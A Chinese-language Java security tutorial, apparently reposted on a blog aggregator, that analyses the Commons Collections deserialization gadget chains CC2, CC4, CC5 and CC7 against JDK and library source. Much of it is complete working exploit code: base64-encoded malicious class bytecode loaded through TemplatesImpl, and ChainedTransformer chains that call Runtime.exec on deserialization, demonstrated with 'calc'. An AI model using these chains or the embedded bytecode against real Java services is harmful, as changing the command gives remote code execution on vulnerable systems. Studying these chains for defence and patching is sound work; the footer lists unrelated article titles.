[Java安全入门]六.CC2+CC4+CC5+CC7

一.前言

与前面几条cc不同的是,cc2的依赖是4.0版本,并且解决了高版本无法使用AnnotationInvocationHandler类的弊端。cc2使用javassist和PriorityQueue来构造链。

二.添加依赖

   <dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.22.0-GA</version></dependency></dependencies>

三.构造链

ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec()

四.分析

先看一下PriorityQueue类

 private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}

PriorityQueue类的readObject将反序列化得到数据放在queue数组里,然后调用heapify()方法形成一个二叉堆

跟进到heapify()方法

 private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);}

heapify()方法对传入的数据执行siftDown()方法

继续跟进到siftDown()

private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}

如果传入的比较器不是null的话,执行siftDownUsingComparator

继续跟进到siftDownUsingComparator

 private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;}

这里就是通过比较器来比较queue里面的数据,就是这一步里面的compare()方法可以通过作为跳板被TransformingComparator类使用。

看一下TransformingComparator类的构造器

 public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {this(transformer, ComparatorUtils.NATURAL_COMPARATOR);}/*** Constructs an instance with the given Transformer and Comparator.** @param transformer  what will transform the arguments to <code>compare</code>* @param decorated  the decorated Comparator*/public TransformingComparator(final Transformer<? super I, ? extends O> transformer,final Comparator<O> decorated) {this.decorated = decorated;this.transformer = transformer;}

可以传入两个对象 一个是decoreated另一个是tansformer

看一下里面的compare方法

public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}

compare方法对传入的两个对象进行transform操作,正好接上了 cc1后面的链

所有就有链子

PriorityQueue.readObject()PriorityQueue.readObject()->heapify()->siftDown()-> siftDownUsingComparator()-        ->compare()TransformingComparator.compare()ChainedTransformer.transform()InvokerTransformer.transform()

五.exp

后面部分用的是cc3的newTransformer触发链

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");TemplatesImpl templates = new TemplatesImpl();//反射设置fieldsetFieldValue(templates, "_bytecodes", new byte[][]{code});setFieldValue(templates, "_name", "ta0");//执行template.newTransformerInvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});TransformingComparator comparator = new TransformingComparator(invokerTransformer);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量,后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{templates, templates};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

如CC果用TemplatesImpl和TrAXFilter也可以,其实这种不用  InvokerTransformer写法就是CC4

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImplsetFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),//构造方法中的的newTransformer()方法正好是TemplatesImpl链里面的第一步new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})        //利用InstantiateTransformer的transform()来调用到TrAXFilter的构造方法};/* Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)};*/ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量,后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{chain,chain};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

六.其他链

 1.cc4

刚才说过了就是把cc2的 InvokerTransformer换成InstantiateTransformer写法

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImplsetFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),//构造方法中的的newTransformer()方法正好是TemplatesImpl链里面的第一步new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})        //利用InstantiateTransformer的transform()来调用到TrAXFilter的构造方法};/* Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)};*/ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量,后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{chain,chain};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

2.cc5

利用TiedMapEntry.hashCode->get来触发LazyMap的get方法

利用链

BadAttributeValueExpException.readObject()
TiedMapEntry.toString()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()

简单分析一下

   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}

BadAttributeValueExpException的readObject方法调用了toString方法

在TiedMapEntry中的toString方法调用了getValue

 public String toString() {return getKey() + "=" + getValue();}

而getValue又调用get方法,这样就能调用LazyMap的get方法,进而调用ChainedTransform

 public Object getValue() {return map.get(key);}

exp

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});Map<Object, Object> hashMap = new HashMap<>();Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chain);//将lazyMap传给TiedMapEntryTiedMapEntry entry = new TiedMapEntry(lazymap, "ta0");BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,entry);//反射把TiedMapEntry赋给BadAttributeValueExpException 的val属性ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(badAttributeValueExpException);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

3.cc7

cc7也是触发LazyMap的get方法,这里利用到一个新的类Hashtable       

先看一下Hashtable的readObject方法对传入的键值调用了reconstitutionPut()方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}}

跟进到reconstitutionPut(),通过调用key的equals方法来判断是真的hash碰撞,而且传入的元素至少是两个,并且hash值相同

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}

而LazyMap的父类AbstractMapDecorator类里面也有个equals方法,这里仅仅是比较两个key的引用是否为同一个,如果不是,则继续调用map的equals,所以可以通过LazyMap的静态方法decorate将HashMap传给map属性

  public boolean equals(Object object) {if (object == this) {return true;}return map.equals(object);}

HashMap本身成员没有equals方法,但是HashMap继承了父类AbstractMap里面有一个equals方法

public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}

先是判断是否为同一对象,然后判断对象的类型,最后判断map中的元素个数。到try内部,如果value不为null会调用m的get方法,m

所以有构造链

Hashtable.readObject-->Hashtable.reconstitutionPut-->AbstractMap.equals-->LazyMap.get--> ->ChainedTransformer

最后抄一个网上的exp

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class Main {public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {Transformer[] fakeTransformer = new Transformer[]{};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//ChainedTransformer实例//先设置假的 Transformer 数组,防止生成时执行命令Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);//LazyMap实例Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, "test");hashtable.put(lazyMap2, "test");//通过反射设置真的 ransformer 数组Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");field.setAccessible(true);field.set(chainedTransformer, transformers);//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除lazyMap2.remove("yy");ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(hashtable);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}

参考

CC链 1-7 分析 - 先知社区 (aliyun.com)

12-java安全——java反序列化CC7链分析-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/761775.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

读书笔记--阅读华为数据治理之旅有感

通过阅读华为的数据治理之旅,了解到华为公司作为高科技企业的引领者,在数据治理工作、数字化智能化转型方面的确有许许多多值得大家学习的地方,华为公司的业务范围广泛,市场竞争压力大,迫切需要用一些高效的手段来减轻员工的工作量,让员工各司其职,在各自承担的主营业务…

蓝桥杯STM32 G431 hal库开发速成——输入捕获

蓝桥杯的输入捕获较为简单&#xff0c;基本不涉及溢出的问题。所以这里就不介绍溢出了。文末有源码。 一、Cubemx配置 二、代码编写 1.在捕获回调函数中 void HAL_TIM_IC_CaptureCallback(TIM_HandleTypeDef *htim) {if(htim->InstanceTIM3){switch(count){case 1:{jishu1…

数据分析-概率分布

概率分布 概率分布(Probability Distributions)离散概率分布伯努利分布(Bernoulli Distribution)二项分布(The Binomial distribution)泊松分布(Poisson Distribution) 连续概率分布均匀分布(Uniform Distribution)正态分布(Normal Distribution)指数分布&#xff08;Exponenti…

Tailwind notes

flex flex - 使用Flexbox布局&#xff0c;这是一个非常灵活的布局模式&#xff0c;用于在容器内部以动态的方式对子项进行排列。justify-between - 在Flexbox布局中&#xff0c;这个类使容器中的子项之间的间距平均分布&#xff0c;首尾子项贴紧容器边界。items-center - 在Fl…

Day20 Java常用类

Day20 Java常用类 一、String类 1、概念&#xff1a; 在Java中&#xff0c;String类是一个非常常用的类&#xff0c;用于表示字符串对象。String类提供了许多方法来操作和处理字符串。 2、String类常用方法&#xff1a; 获取字符串长度&#xff1a; int length(): 返回字符串…

C#使用ASP.NET Core Razor Pages构建网站(一)

一、了解Web开发 Web开发就是使用HTTP&#xff08;超文本传输协议&#xff09;进行开发。 HTTP HTTP&#xff08;Hypertext Transfer Protocol&#xff09;是一种用于传输超文本和相关数据的应用层协议。它是Web上数据通信的基础&#xff0c;被用于从Web服务器传输到客户端浏…

如何让uni-app开发的H5页面顶部原生标题和小程序的顶部标题不一致?

如何让标题1和标题2不一样&#xff1f; 修改根目录下的App.vue&#xff08;核心代码如下&#xff09; <script>export default {onLaunch() {// 监听各种跳转----------------------------------------[navigateTo, redirectTo, reLaunch, switchTab, navigateBack, ].…

【JSON2WEB】10 基于 Amis 做个登录页面login.html

